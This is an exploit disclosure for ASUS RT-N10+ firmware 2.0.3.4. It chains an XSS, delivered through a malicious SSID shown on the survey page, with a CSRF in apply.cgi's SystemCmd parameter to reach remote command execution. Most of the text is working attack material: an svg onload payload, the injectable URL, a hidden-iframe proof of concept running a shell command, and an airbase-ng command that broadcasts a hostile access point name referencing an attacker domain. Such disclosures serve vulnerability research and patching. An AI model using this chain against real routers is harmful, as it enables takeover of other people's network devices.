ASUS RT-N10+ with firmware version 2.0.3.4 suffers from cross site request forgery and cross site scripting vulnerabilities that can assist with achieving command execution.
180bc134d00505aeee98979c9045c6ba75f0c0fb8e0cbf15853e5e72014cac0b# Exploit Title: XSS And CSRF to RCE in ASUS RT-N10 Repeater Mode
# Date: 13/10/2019
# Exploit Author: Matheus Vrech
# Vendor Homepage: https://www.asus.com/
# Version: ASUS RT-N10+, Firmware: 2.0.3.4
# Tested on: Archlinux, Windows 10
# XSS:
# when someone change router to repeater mode you should be able to trigger javascript code:
# just create an AP with the payload ad wait the person to look for the available routers to repeat
vulnerable page: http://192.168.1.1/survey.htm
payload: <svg/onload="alert('xss')">
# CSRF + RCE
# it's possible to inject commands into the router by just triggering a authenticated user to acess the following url:
# change COMMAND to yout command
vulnerable url: http://192.168.1.1/apply.cgi?current_page=Main_AdmStatus_Content.asp&next_page=Main_AdmStatus_Content.asp&next_host=&sid_list=FirewallConfig%3B&group_id=&modified=0&action_mode=+Refresh+&first_time=&action_script=&preferred_lang=EN&SystemCmd=COMMAND&action=Refresh"
# With both of them it's possible to execute command abusing the repeater mode XSS
POC:
# create the page:
<html>
<head>
</head>
<body>
<iframe style="display: none" src="http://192.168.1.1/apply.cgi?current_page=Main_AdmStatus_Content.asp&next_page=Main_AdmStatus_Content.asp&next_host=&sid_list=FirewallConfig%3B&group_id=&modified=0&action_mode=+Refresh+&first_time=&action_script=&preferred_lang=EN&SystemCmd=touch /tmp/pwned&action=Refresh"></iframe>
</body>
</html>
# start your AP:
airbase-ng -e "<iframe src="//your.domain">" -c 8 -v wlp2s0mon
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